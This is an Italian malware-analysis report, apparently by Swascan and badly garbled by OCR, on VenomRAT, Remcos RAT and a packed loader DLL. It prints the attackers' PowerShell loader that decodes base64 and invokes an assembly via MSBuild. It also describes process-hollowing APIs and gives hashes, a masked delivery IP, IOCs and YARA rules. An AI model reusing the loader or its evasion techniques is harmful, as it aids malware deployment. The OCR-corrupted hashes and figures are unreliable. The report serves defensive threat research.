TVqQéTr‘:éT‘(éT(‘:éT‘(r"léT(‘:éT‘(éT“’:éT(‘éTr‘:éT‘(éT(‘:éT“’EéT(‘:éT‘(éT‘(:éT(‘éTr‘:éT‘(éT‘(:éT‘(//SéT‘(:éTr‘éTr‘:éT‘(Lgé
e AT GTOETO ATEATO L TR ST TG TORTO ST GTUQAT AT AT GTOGT AT ATCATY:
T{(éT{(:éT({éTl’f:éTf(éTh’:éTl’féTh’:éT({éT({:éTh’éTh’:éTl’féTh’:éT({éT({:éTh’éTf(:éTl’féTl’f:éTh’éT({:éTh’éTh’:éTl’féTl’f:éTfl’éT({
s St e, s ee, SFeeS A0, SFOES a0, SO FO0, SFecS 0, SHers e, SFees e, SFees e, e s o0, SHecs o0, SFeeg 0, e dee, 3463
rAT AT AT AT AT AT AT AT AT AT AT AT AT AT AT AT AT AT AT AT ATAT AT AT AT AT 3T7]
T“:éT“éT":éT“éT“:éT“éT“:éT“éT“:éT“éT“:éT“éT“:éT“éT":éT“éT“:éT"éT“:éT“éT“:éT“éT“:éT"éT“:éT“éT“:éT
T AT gt AT T AT AT AT AT AT AT AT afugdaT ™ AT LaT™: 3T “NNIbgBTMOhVGhpcyBwcmoOncmFtIGHhbm
SvdCBiZSBydi4gaWdgRESTIGLIVZGUUDQOKIET 3T a T 3T a T 3T a e 3T gt T g T 3T gt 33T 3T 31 5
T{(BQRQéT({:éTh’éTh’:éTl’fTéTf(:éTl’fEDéT({:éT{(HFll\IbuéT({:éTh’éTh’:éTl’féTl’f:éTf(éT({:éT{(éTh’:éTl’féTl’f:éTfl’éT({:éTh’éT{(:
éTf(éT({:éT{(éTh’:éT({oéTh’:éT({éTl’f:éTh’DiELéTh’:éTffvéT{(:éT({éT({:éTh’éTfl’:éTl’fIIéT({:éTh’éTf(:éTl’féTh’:éT({éT({:éT{(G
T T ETO TR AT GTe AT GTo GTaTo s ATUaT; AT AT 3T/ pBAT™: AT AT 3T 3T aT<aT: 3T gaT: 4T3
T{(:éT({éT({:éTh’éTf(:éTl’fwéTf(:éTl’féTl’f:éTf(éT({:éTh’éTh’:éTl’féTl’f:éTf(BéTl’f:éTh’éT({:éT{(éTh’:éTl’féTl’f:éTfl’géTl’f:éTh’éT({
:éTl’féTl’f:éTf(éT({:éT{(éTh’:éT({géTh’:éT({éTl":éTh’BéTl’f:éTh’éT({:éT{(éTh’:éTl’{éTl’f:éTh’éTh’:éT{(éTh’:éT({éTl’f:éTh’éTh’:éT
“éT“:éT“éT“:éT“GéT“:éT“éT“:éT“éT“:éT“éT“:éT“éT“:éT"éT":éT“éT“:éT“éT“:éT“éT“:éT“éT“:éT“éT“:éT“éT"
CATEET L ATONAT O ATRTC AT T AT AT STCA T ATORT AT T ATR T ATCRT 3T T ATC5 17 3T MAT: 3
sec 123184 = 1 Tr Raw Bytes 4= LF
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La libreria DLL in questione ¢ stata offuscata in Base64 e con il replace di alcuni caratteri sotto
riportati:

$dKuiz = "C:\Windows\Microsoft.NET\' + 'Framework\v4.8.30319%' + "MSBuild.exe’;

$PorIM = "37%:
FQIyrl = A

$qpORK = "XkUiZd¥%'.replace( $PorIM, 2QIyrU );
[Byt=[]] #37uiR = [System.Convert]::FromBase64String( $qpORK );

STATAYZ = 'RjHgywk'.replace( $PorIM, $QIyrU );
[Byte[]] $Gjdhz = [System.Convert]::FromBasesdString( SLATAYI );

$Riuzm = "Class1";
$Qorks = "Run" ;
$QporI = "ClassLibraryl.”;

[System.AppDomain]::CurrentDomain.Lload( $JJuiR ).GetType({ $QporI + $Riuzm ).GetMethod( $QorKs ).Invoke($null, [Object[]] ($dKuiz, $Gjdhz) };

Recipe SH B Input =
@370:5.0579:3.087%:5.0579:5.0579: 5,037 9: 5.6579:3.0379: 3
Find / Replace 134037 ®:3+0379:3+037%: 34037 9:340379:3.027%:3
HERICE - DICE R TCE R 13.@37%:3
REGEX ~ 1340371300371 300370 3 134037013
130037 ®:3+0379:3+037%: 3 13e@a"®:
18.037%:3 18.@37%:3
. e 3 37@.3 3 37®@.3
& Global match [ case insensitive de@a P de@a T
13e@a"®: 13.037%:3
13.@37%:3
i . 150037013
Multiline matching D Dot matches all B
ide@a H
t3.@370:
- o 134037 %:3+037%: 13e@a"%:
rom Base 13037 ®:3+037%:3 13e@a"®:
&« LF
A-Za-70-9+/= e
re
Ca
& Remove non-alphabet chars [ strict mode
v
STEP i [v]
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[l Portable Executable contiene riferimenti a funzioni di hashing (GetHashCode), encryption
streams management (CryptoStreamMode), compressione (CompressionMode), terminazione
di processi (Kill), moduli di encryption DES (DESCryptoServiceProvider, includendo il buffer
di dati), decryption (CreateDecryptor). Vi sono inoltre riferimenti ad operazioni di scrittura nella
memoria di processi specifici mediante la funzione WriteProcessMemory, ma anche
I'ottenimento dell’'oggetto Assembly che esegue il codice sorgente attualmente in esecuzione
con il metodo GetExecutingAssembly.

NULEOTNULVT NUL BS NUL FF NUL BS NULNULNULDLENULDCANULA 85 NULNULDLENULL NULZL Bs NuLNULNULNULENULE 85 HNUL @ sonFFhuL  soHRULNULKULNULKULLONTeXTValue Iwu
i-e lnClassivwClassLibrarylwToInt32mToIntl6m System., I0wProjectDatawdatamwmscorlibue
d2b5817d96Td41a48684826d08c56T9cwMicrosoft.visualBasicwGetProcessByIdwiResumeThreadLoaduu
synchronizedw.CreateInstancewGetHashCodew.CryptoStreamModewCompressionModenRuntimeTypeHandlew
GetTypeFromHandlewcget NamewnValueTypewiApplicationBasewApplicationSettingsBasenu
EditorBrowsableStatenwGuidAttributencEditorBrowsableAttributeswComvisibleAttributenu
AssemblyTitleAttributenwStandardModuleattributesuHideModulenameAttributen
AssemblyTrademarkAttributewTargetFrameworkattributeswAssemblyFileversionattributes
MyGroupCollectionAttributesnAssemblyDescriptionattributew.CompilationRelaxationsattributenu
AssemblyProductattributesuAssemblyCopyrightattributesnaAssemblyCompanyAttributen.
RuntimeCompatibilityAttributes.SuppressunmanagedCodeSecurityAttributewBytewget valuewset value
wiGetobjectvaluewadd ResourceResolvewget SizewSizeOftwiSystem.Runtime.Versioningw.ToStringuu.
pathwMarshalwMicrosoft.visualBasic.MyServices.InternaluwSystem. ComponentModelnu.
ClassLibraryl.dlluwkernel32,d1lwntdll.dllvKilliGetManifestResourcestreamuDeflateStreamu

ClassLibraryl.dlluwkernel32.dllvuntdll.dllwKillwGetManifestResourceStreamDeflateStreamu
CryptoStreamwiMemoryStreamwSystemw. SymmetricaAlgorithmw ICryptoTranstormuBooleans AppDomainnue
get CurrentDomainwuwSystem.IO.CompressionwSystem.Configurationw.System.Globalizationw.
NtunmapViewofSectionwiSystem.ReflectionwuExceptionwiInternwRunwCopyTowCultureInfonZeron
DESCryptoServiceProviderwBufferwiResourceManageri.ResolveEventHandlerwserwBitConverteru.
Computerw.ClearProjectErrorw.SetProjectErrorwActivatorie. ctorwe. cctorwCreateDecryptornIntPtri
System.DiagnosticswMicrosoft.visualBasic.DeviceswMicrosoft.visualBasic.ApplicationServicesnu
System.Runtime.InteropServiceswMicrosoft.visualBasic.CompilerServicesnu
System.Runtime.CompilerServiceswSystem.ResourceswGetManiftestResourcelameswGetBytesnu
ResolveEventArgsw.ReferenceEqual swRuntimeHelperswiCreateProcesswiConcatiFormati.Objectuu
Wowb4GetThreadContextiWowedSetThreadContextwVirtualallocExwToArraywToCharArrayn
System.Security.Cryptographywiget Assemblywi.get RequestingAssemblyw.GetExecutingAssemblywu
BlockCopywiReadProcessMemorywiriteProcessMemorywop Equalityw.System.SecuritysuIsNullOrEmptywei-
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P& Memory map - O *

Address Name

——

00000000 000deafl
00003100 b15eeaf( 01fe9d10
() Relative virtual address
Mode Endianness

16-bit LE

Symbols

85 \N.GEWE.TV.GW&QY.
.RCI31FFGb4nuxs

OxaT3SFiCt=s9gsQh
Mtj..1...¥.1[...
v..ua.f..t...56g%
WP .6WGF. . .wd k. 60M
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La DLL possiede un coefficiente d'entropia generico piuttosto alto (pari a 7.61296):

Info ? x
23

I:‘ Comment

00000000

File name: C:/Users/IEUser/Desktop/New folder/rumpe.dll
Size: 25818 (25.21 kB)

MD5: 54ece6flf6l7401k2263e2d6298T7=96d8

SHALl: 30cT7c99fal2324€a4k03127fe601050Tbed4d48d4
Entropy: 7.61296 (packed)

Cperation system: MSDOS

Architecture: 8086

Mode: le-bit

Type: EXE

Endianess: LE

Entry point (Address): ffffffffp1518534

Entry point (Cffset): ELLfLffEFFEFqafff

Entry point (Relative address): £fffffffa1518534
Entry point (Bytes):

Entry point (Signature):

Entry point (Signature) (Rel):
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La libreria provvede ad eseguire la funzione NtUnmapViewOfSection, la quale permette di
annullare il mapping di una sezione di un dato processo all'interno dello spazio degli indirizzi
virtuale, nonche la funzione di esecuzione esterna Run.

Memory map

MSDOS Offset Address Size
l::' File offset

LT EiE= 00003100  bl15eeafd  01fedd10

() Relative virtual address

Mode Endianness Architecture
16-bit LE 8035

Symbols

..] .Ew&k.FU.&.6WT
4.W. .o PL
NtUnmapViewOfS5ec
tion.ntdl1l.d11..

cess.I1sHNullOrEmp
ty..]...*.D&.D6.

riferimento alla funzione di terminazione di processi Kill:

Address Symbols

0000:30f0 3 gs.ClearProjectEr
0000:3100
0000:3110
0000:3120 ..=.AJhpgLF6LEKk
0000:3130 Za6pNl1R..SR.Y..M
0000:3140
0000:3150
0000:3160
0000:3170
0000:3180
0000:3190 TEfD3.u.w.W. 6eAM.
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Symbols

l17ac356228483cac
2243aalblé5e2a.W
+v.5.#8..3c0CEL. #
.#6.fes5c.Cf35..°
v e..3C¥...5c3CHF
CVEH. .. .cv#.ﬂ.s.

Size Siring
0000000f ApplicationBase
00000029
00000012
00000013
00000014
00000007
00000003
00000000
00000026
00000011
00000009
00000000
00000011
00000022
00000010
00000013
00000022
00000019
00000016
00000007
00000022
00000022
00000021

Microsoft.VisualBasic. ApplicationServices
agdmByknVuOLDk3xb
LpswtNQUowXd5rS0pSl
NtUnmapViewOf5ection

Process

GetBytes

ProjectData
Microsoft.VisualBasic.CompilerServices
ClearProjectError

Fieldinfo

XMemberlnfo

get_MetadataToken
rm_397ed%6b36a2408ab3219fc8127eade
ac3355428a991bba
56d98339c14alaalad3
rm_d1f0917f96dede1693f4b2360f4f2a83
f4e65453ebb9fd63dd4fod5d3
a649a9873a5364afd95b91

aa2dedf
rm_362381287ecede18a183643611e75226
m_0ad76c8913848ea99469c01 2a%abelf

ClassLibraryl.Resources.resources

» > » > P> > P> > PF>PFFPDFPFPDEDERDPDELDEDEE
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IP OSINT

L'indirizzo IP di malware delivery 45.XX.XX.XX é stato registrato da Colocation America
Corporation. Esso possiede come reverse DNS domain name 45-XX-XX-
XX[.Imasterdaweb[.]Jcom

Esporta come STIX 2 - Suggerisci modifica Sequi
Report IP X-Force

45.

@ Questo mparf non condiens fag &g

v Rinll f BB

Dettagli Record WHOIS

Classificazlone In categorie » Dynamic [Ps{71%) Creato 01 lug 2022
Aggiornato 01 lug 2022
Organizzazione regisirante Colocation Amenca Corporation

Applicazione Massuna applicazions conosciuta

Ubicazione Brazil
ASN w A5 824 Paese o regione del registrante US

= 452179 : AS-COLDAM, US

o 45211505 : NONE
s 210564 © MONE

A Dynamic IPs (71%) DNS heuristics Brazil 04 nov 2023 10:56

AS834:

AS21769: AS-COLOAM, US
AS60721:

AS211585: NONE
AS270564: NONE
AS395111:

Regional Internet Registry Brazil 20 ago 2023 08:54

AS21769: AS-COLOAM, US
AS211585: NONE

Regional Internet Registry Brazil 01 giu 2023 08:59

AS21769: AS-COLOAM, US
AS211585: NONE
AS270564: NONE

Regional Internet Registry Turkey 13 gen 2023 08:53

AS21769: AS-COLOAM, US
AS211585: NONE
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1

Data
DS passiva

-masterdaweb.com 2% b W24 09015

0 Mesuno iovala

Makware:

7

Soltoret
5 o fuir

Linifed Stales

L'indirizzo IP in questione possiede una pessima reputation a livello OSINT, in particolare per
quanto concerne malspam threats:

LOCATION DATA REPUTATION DETAILS
= SENDER I REPUTATION . 27 Submit Sender I Reputason Tcaet

WEB REPUTATION ! @ Submet Web Beputesion ket

P ADDRE S5
. EMAIL VOLUME DATA
FWD/REV DNG MATCM
HOSTHAME
DA AL VOL LI
— RAT CHA NG
MM LEVEL

NTENT DETAILS
BLOCK LISTS

CONTENT CATEGOSY
BL SPAMCOP NET
B ABUSEAT ORG
L SPAMIMALIS DRG

B SPAMHALUS. RG

TO THE BLDCX LIST
LASSIFICA TION

FIRST SEEM

Le porte ed i servizi aperti risultano essere 80 (HTTP), 135 (DCERPC), 139 (NetBIOS), 443
(HTTP), 2404, 3306 (MySQL), 5985 (HTTP), 9090 (RDP) e 47001 (HTTP).
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45.

Febr 26, 2024 &:205m UT

L Summary D History  [@ wWHOIE M Explors B Ra .
Basic Information
Reverse DNS 45 rmasterdaweh,com 32°46'59.0°M 9674824,
Visualizza mapga plid grand 1 s phis
Routing 15 it MASTER DA W ATACENTER BR (& 56 ot
05 Microsoft Windows Ea ’
. MISSIZE]
Services (4) iTTR DCERPE, M 15, 443/ HTTE 2 MEMOWH, 3306/MYS0L
SGRSHTTR 9060/R0R 47001 /HTTF :
TEXAS 1| 4
Labels [ DATABASE ) METWORE ADMIMESTRATION | DFEN DIR | | REMOTE ACCESS

" HouslpSeRSol 58
|.r.. ., Ban Asnlnlm.? i o N ]
HTTP SG,TCP L 24 LITE Srormistoeda tastiers | Dzt mappa 92024 Google, INEEI | Temminl
"OFEN IR
Geographic Location
—— EoEEmEEn s
W OpensSL30.3
State  Tewes
3 PHPBO3D &

Country  Uniled States [US)

Da una disamina a livello di scansioni HTTP possiamo notare la root principale index /:

HTTP Scans

Inoltre, I'nost 45.XX.XX.XX possiede potenziali evidenze legate alla vulnerabilita CVE-2023-
5678:
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/A Vulnerabilities

CVE-2023-5678 Issue summary: Generating excessively long X9.42 DH keys or checking excessively
long X9.42 DH keys or parameters may be very slow. Impact summary: Applications
that use the functions DH_generate_key() to generate an X9.42 DH key may
experience long delays. Likewise, applications that use DH_check_pub_key(),
DH_check_pub_key_ex() or EVP_PKEY _public_check() to check an X942 DH key or
X9.42 DH parameters may experience long delays. Where the key or parameters that
are being checked have been obtained from an untrusted source this may lead to a
Denial of Service. While DH_check() performs all the necessary checks (as of CVE-
2023-3817). DH_check_pub_key() doesn't make any of these checks, and is therefore
vulnerable for excessively large P and Q parameters. Likewise, while
DH_generate_key() performs a check for an excessively large P. it doesn't check for an
excessively large Q. An application that calls DH_generate_keyl() or
DH_check_pub_key() and supplies a key or parameters obtained from an untrusted
source could be vulnerable to a Denial of Service attack. DH_generate_key() and
DH_check_pub_key() are also called by a number of other OpenSSL functions. An
application calling any of those other functions may similarly be affected. The other
functions affected by this are DH_check_pub_key_ex{). EVP_PKEY _public_check(). and
EVP_PKEY_generatel). Also vulnerable are the OpenSSL pkey command line
application when using the "-pubcheck’ option, as well as the OpenSSL genpkey
command line application. The OpenSSL SSL/TLS implementation is not affected by
this issue. The OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue
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10Cs

e VenomRAT:
1f209f0d6be48739e9726e4474db76e6
df77fda2ce233b4542000b3b2efe57a24884f597
33df6b2921722526f1f2b57e9a9daf1d737f27¢3240dc570b1df506bc8c141d6
Venom Decryptor for Durios
DisableDefender2
DarkEye

VenomBin

e RemcosRAT
6a4eb78c41183f12a1d2026903fadab7
D6f7fa082a3a236a6fd5080b40f9aeb0a2398743
Breakingsecurity[.]net

Online Keylogger Started
e RumPEDLL

54ece6f1f617401b2263ed62987e96d8

30c7c99fa023846a4b03127fe6010507be4d48d4

www.swascan.com | info@swascan.com



Swascan

TINEXTAGROUP

Regole YARA

e VenomRAT:

rule VenomRATRule

strings:
$venomStr = "VenomBin"
$venomStr1 = "DisableDefender2”
$venomHex = { 56 65 6e 6f 6d 42 69 6e }
$venomHex1 = {44 69 73 61 62 6¢ 65 44 65 66 65 6e 64 65 72 32 }
condition:

any of them

e RemcosRAT

rule RemcosRATRule

strings:
$remcosStr = "Online Keylogger Started"
$remcosHex= "4f 6e 6¢ 69 6e 65 20 4b 65 79 6¢ 6f 67 67 6572 20 53 74 61 72 74 65 64"
condition:

any of them
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CONCLUSIONI

Il presente articolo ha mostrato come, a seguito di pubblicazioni inerenti ad un determinato
gruppo di threats distribuiti (in questo caso due tipologie di RATs), in un breve lasso di tempo,
vengano modificate le modalita di hosting, malware delivery ed encoding. Nel caso di
VenomRAT il sample non é stato modificato o ricompilato; tuttavia, sono stati apportati
cambiamenti per quanto concerne la codifica dell’artefatto, nel caso specifico e stato utilizzato
un metodo di encoding Base64 + Reversed text (testo scritto al rovescio). Nel caso, invece, di
Remcos RAT il threat & stato ricompilato nel Novembre 2023, probabilmente anche con lo
scopo di evitare detections da parte di security solutions su base di firma antivirale statica.

L'host remoto 45.XXXX.XX.XX possiede diverse porte e servizi esposti, utili ai fini di remote
management e database management (MySQL, porta 3306), esso & potenzialmente affetto
dalla vulnerabilita CVE-2023-5678, la quale comporta un ritardo nella verifica o generazione
di chiavi X9.42 DH per quanto concerne il protocollo OpenSSL.

L'analisi qui presentata ha dimostrato come nuove modalita di distribuzione e hosting da parte
dei threat actors avvengano in modo repentino e come alcuni threats vengano leggermente
modificati ai fini di bypassare le security solutions meno avanzate, le quali affidano le loro
detection capabilities principalmente nell'adozione di firme antivirali statiche e hardcoded
(come, ad esempio, hashes, stringhe estraibili e patterns deducibili dal dump esadecimale).
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About Us

Swascan e una Cyber Security Company nata da un’idea di Pierguido lezzi e Raoul Chiesa.

La prima azienda di Cyber Security Italiana proprietaria di una piattaforma di Cyber Security
Testing e Threat Intelligence, oltre ad un centro di eccellenza di Cyber Security Research; centro
premiato con numerosi riconoscimenti nazionali e internazionali dai piu importanti player del
mercato IT e non solo.

Da ottobre 2020, Swascan e parte integrante di Tinexta Cyber (Tinexta S.P.A), diventando
protagonista attiva del primo polo nazionale di Cyber Security: non solo una azienda, ma un
gruppo italiano, un nuovo hub nazionale specializzato nei servizi di identita digitale e sicurezza
digitale.
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